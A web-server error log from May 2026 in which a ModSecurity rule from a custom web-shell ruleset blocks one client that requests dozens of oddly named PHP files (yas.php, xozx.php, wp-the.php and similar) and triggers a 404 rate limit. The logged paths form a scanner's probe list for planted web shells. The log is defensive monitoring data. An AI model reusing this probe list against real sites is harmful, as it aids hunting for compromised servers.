[Mon May 04 23:45:21.567926 2026] [:error] [pid 61150:tid 61161] [client 20.29.119.89:65380] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "afi_Ee8QXWVLiwIGVpenAAAAAUg"]
[Mon May 04 23:45:22.032915 2026] [:error] [pid 61150:tid 61177] [client 20.29.119.89:65401] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "afi_Eu8QXWVLiwIGVpenAgAAAVg"]
[Mon May 04 23:45:22.443758 2026] [:error] [pid 61150:tid 61176] [client 20.29.119.89:63410] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "afi_Eu8QXWVLiwIGVpenBAAAAVc"]
[Mon May 04 23:45:22.987798 2026] [:error] [pid 32471:tid 32482] [client 20.29.119.89:64017] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "afi_Enmjpb9EYq6AqhKQIAAAAQg"]
[Mon May 04 23:45:23.368640 2026] [:error] [pid 32471:tid 32486] [client 20.29.119.89:65336] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "afi_E3mjpb9EYq6AqhKQIgAAAQw"]
[Mon May 04 23:45:23.820248 2026] [:error] [pid 32471:tid 32477] [client 20.29.119.89:64722] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "afi_E3mjpb9EYq6AqhKQJAAAAQM"]
[Mon May 04 23:45:24.204318 2026] [:error] [pid 32471:tid 32491] [client 20.29.119.89:65304] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "afi_FHmjpb9EYq6AqhKQJwAAARE"]
[Mon May 04 23:45:24.744608 2026] [:error] [pid 61043:tid 61088] [client 20.29.119.89:64730] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "afi_FJ8-LwtfURjiAbDoJAAAAE0"]
[Mon May 04 23:45:25.127454 2026] [:error] [pid 61043:tid 61084] [client 20.29.119.89:64005] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "afi_FZ8-LwtfURjiAbDoKAAAAEk"]
[Mon May 04 23:45:25.653591 2026] [:error] [pid 61150:tid 61174] [client 20.29.119.89:63461] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "afi_Fe8QXWVLiwIGVpenCAAAAVU"]
[Mon May 04 23:45:26.137497 2026] [:error] [pid 3341:tid 3367] [client 20.29.119.89:63436] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xozx.php"] [unique_id "afi_Fk9o3_LordU0wW6cOgAAAJc"]
[Mon May 04 23:45:26.538382 2026] [:error] [pid 3341:tid 3349] [client 20.29.119.89:63385] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xozx.php"] [unique_id "afi_Fk9o3_LordU0wW6cPQAAAIU"]
[Mon May 04 23:45:26.981914 2026] [:error] [pid 32471:tid 32493] [client 20.29.119.89:64118] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xozx.php"] [unique_id "afi_Fnmjpb9EYq6AqhKQKwAAARM"]
[Mon May 04 23:45:27.709453 2026] [:error] [pid 3341:tid 3348] [client 20.29.119.89:60922] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xozx.php"] [unique_id "afi_F09o3_LordU0wW6cQgAAAIQ"]
[Mon May 04 23:45:28.237176 2026] [:error] [pid 32471:tid 32478] [client 20.29.119.89:65325] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "afi_GHmjpb9EYq6AqhKQLgAAAQQ"]
[Mon May 04 23:45:28.655512 2026] [:error] [pid 32471:tid 32482] [client 20.29.119.89:63445] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "afi_GHmjpb9EYq6AqhKQMAAAAQg"]
[Mon May 04 23:45:29.163726 2026] [:error] [pid 3341:tid 3368] [client 20.29.119.89:64697] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "afi_GU9o3_LordU0wW6cSgAAAJg"]
[Mon May 04 23:45:29.690531 2026] [:error] [pid 32471:tid 32485] [client 20.29.119.89:62733] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "afi_GXmjpb9EYq6AqhKQNAAAAQs"]
[Mon May 04 23:45:30.109152 2026] [:error] [pid 3341:tid 3367] [client 20.29.119.89:62160] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "afi_Gk9o3_LordU0wW6cTgAAAJc"]
[Mon May 04 23:45:30.598895 2026] [:error] [pid 61044:tid 61120] [client 20.29.119.89:62800] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "afi_Gkw8w2zZZXI6H1u4wAAAABI"]
[Mon May 04 23:45:31.160451 2026] [:error] [pid 3341:tid 3355] [client 20.29.119.89:64720] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "afi_G09o3_LordU0wW6cUQAAAIs"]
[Mon May 04 23:45:31.638142 2026] [:error] [pid 32471:tid 32494] [client 20.29.119.89:65305] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "afi_G3mjpb9EYq6AqhKQPAAAARQ"]
[Mon May 04 23:45:32.317495 2026] [:error] [pid 3341:tid 3367] [client 20.29.119.89:64070] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/forbidals.php"] [unique_id "afi_HE9o3_LordU0wW6cVAAAAJc"]
[Mon May 04 23:45:32.871682 2026] [:error] [pid 3341:tid 3347] [client 20.29.119.89:64078] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/forbidals.php"] [unique_id "afi_HE9o3_LordU0wW6cVgAAAIM"]
[Mon May 04 23:45:33.376888 2026] [:error] [pid 3341:tid 3355] [client 20.29.119.89:65292] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/forbidals.php"] [unique_id "afi_HU9o3_LordU0wW6cWgAAAIs"]
[Mon May 04 23:45:33.997119 2026] [:error] [pid 32471:tid 32491] [client 20.29.119.89:64060] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/forbidals.php"] [unique_id "afi_HXmjpb9EYq6AqhKQQgAAARE"]
[Mon May 04 23:45:36.516389 2026] [:error] [pid 3341:tid 3346] [client 20.29.119.89:65339] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "afi_IE9o3_LordU0wW6cYQAAAII"]
[Mon May 04 23:45:37.137883 2026] [:error] [pid 3341:tid 3361] [client 20.29.119.89:65392] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "afi_IU9o3_LordU0wW6cYwAAAJE"]
[Mon May 04 23:45:37.625946 2026] [:error] [pid 3341:tid 3353] [client 20.29.119.89:62738] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "afi_IU9o3_LordU0wW6cZgAAAIk"]
[Mon May 04 23:45:38.064694 2026] [:error] [pid 61043:tid 61082] [client 20.29.119.89:64741] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "afi_Ip8-LwtfURjiAbDoLwAAAEc"]
[Mon May 04 23:45:38.482708 2026] [:error] [pid 61043:tid 61076] [client 20.29.119.89:63417] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wander.php"] [unique_id "afi_Ip8-LwtfURjiAbDoMAAAAEE"]
[Mon May 04 23:45:38.899878 2026] [:error] [pid 61150:tid 61162] [client 20.29.119.89:64063] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wander.php"] [unique_id "afi_Iu8QXWVLiwIGVpenDAAAAUk"]
[Mon May 04 23:45:39.310727 2026] [:error] [pid 61150:tid 61169] [client 20.29.119.89:63437] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wander.php"] [unique_id "afi_I-8QXWVLiwIGVpenDgAAAVA"]
[Mon May 04 23:45:39.694532 2026] [:error] [pid 61150:tid 61165] [client 20.29.119.89:62734] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wander.php"] [unique_id "afi_I-8QXWVLiwIGVpenEQAAAUw"]
[Mon May 04 23:45:40.123285 2026] [:error] [pid 3341:tid 3350] [client 20.29.119.89:62749] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-db.php"] [unique_id "afi_JE9o3_LordU0wW6caQAAAIY"]
[Mon May 04 23:45:40.565456 2026] [:error] [pid 61042:tid 61063] [client 20.29.119.89:63373] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-db.php"] [unique_id "afi_JEnAPPS1fjubA9RwsAAAANE"]
[Mon May 04 23:45:41.009352 2026] [:error] [pid 61150:tid 61167] [client 20.29.119.89:62769] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-db.php"] [unique_id "afi_Je8QXWVLiwIGVpenFQAAAU4"]
[Mon May 04 23:45:41.406734 2026] [:error] [pid 61042:tid 61053] [client 20.29.119.89:62833] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-db.php"] [unique_id "afi_JUnAPPS1fjubA9RwtQAAAMc"]
[Mon May 04 23:45:41.851535 2026] [:error] [pid 61043:tid 61085] [client 20.29.119.89:65312] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "afi_JZ8-LwtfURjiAbDoNAAAAEo"]
[Mon May 04 23:45:42.386123 2026] [:error] [pid 61044:tid 61114] [client 20.29.119.89:64093] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "afi_Jkw8w2zZZXI6H1u4wgAAAAw"]
[Mon May 04 23:45:42.780411 2026] [:error] [pid 3341:tid 3364] [client 20.29.119.89:65313] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "afi_Jk9o3_LordU0wW6cagAAAJQ"]
[Mon May 04 23:45:43.193074 2026] [:error] [pid 32471:tid 32492] [client 20.29.119.89:64015] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "afi_J3mjpb9EYq6AqhKQQwAAARI"]
[Mon May 04 23:45:43.595264 2026] [:error] [pid 61044:tid 61118] [client 20.29.119.89:65327] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "afi_J0w8w2zZZXI6H1u4xQAAABA"]
[Mon May 04 23:45:44.037430 2026] [:error] [pid 3341:tid 3362] [client 20.29.119.89:65330] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "afi_KE9o3_LordU0wW6cbAAAAJI"]
[Mon May 04 23:45:44.446879 2026] [:error] [pid 61044:tid 61113] [client 20.29.119.89:65369] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "afi_KEw8w2zZZXI6H1u4xwAAAAs"]
[Mon May 04 23:45:44.860963 2026] [:error] [pid 61043:tid 61094] [client 20.29.119.89:64692] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "afi_KJ8-LwtfURjiAbDoNwAAAFM"]
[Mon May 04 23:45:45.267956 2026] [:error] [pid 61150:tid 61156] [client 20.29.119.89:64759] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ouh.php"] [unique_id "afi_Ke8QXWVLiwIGVpenGQAAAUM"]
[Mon May 04 23:45:45.711940 2026] [:error] [pid 3341:tid 3356] [client 20.29.119.89:63426] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ouh.php"] [unique_id "afi_KU9o3_LordU0wW6cbgAAAIw"]
[Mon May 04 23:45:46.103252 2026] [:error] [pid 3341:tid 3350] [client 20.29.119.89:65376] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ouh.php"] [unique_id "afi_Kk9o3_LordU0wW6cbwAAAIY"]
[Mon May 04 23:45:46.576300 2026] [:error] [pid 3341:tid 3357] [client 20.29.119.89:64693] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ouh.php"] [unique_id "afi_Kk9o3_LordU0wW6ccQAAAI0"]
[Mon May 04 23:45:46.992515 2026] [:error] [pid 61043:tid 61079] [client 20.29.119.89:63447] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "afi_Kp8-LwtfURjiAbDoOAAAAEQ"]
[Mon May 04 23:45:47.517770 2026] [:error] [pid 61043:tid 61086] [client 20.29.119.89:63457] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "afi_K58-LwtfURjiAbDoOgAAAEs"]
[Mon May 04 23:45:48.135227 2026] [:error] [pid 32471:tid 32474] [client 20.29.119.89:63361] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "afi_LHmjpb9EYq6AqhKQSQAAAQA"]
[Mon May 04 23:45:48.546499 2026] [:error] [pid 61044:tid 61105] [client 20.29.119.89:64690] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "afi_LEw8w2zZZXI6H1u4yAAAAAM"]
[Mon May 04 23:45:48.926750 2026] [:error] [pid 61150:tid 61156] [client 20.29.119.89:63452] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "afi_LO8QXWVLiwIGVpenHwAAAUM"]
[Mon May 04 23:45:49.379406 2026] [:error] [pid 61044:tid 61108] [client 20.29.119.89:65341] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "afi_LUw8w2zZZXI6H1u4ygAAAAY"]
[Mon May 04 23:45:51.565979 2026] [:error] [pid 32471:tid 32498] [client 20.29.119.89:65284] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "afi_L3mjpb9EYq6AqhKQSgAAARg"]
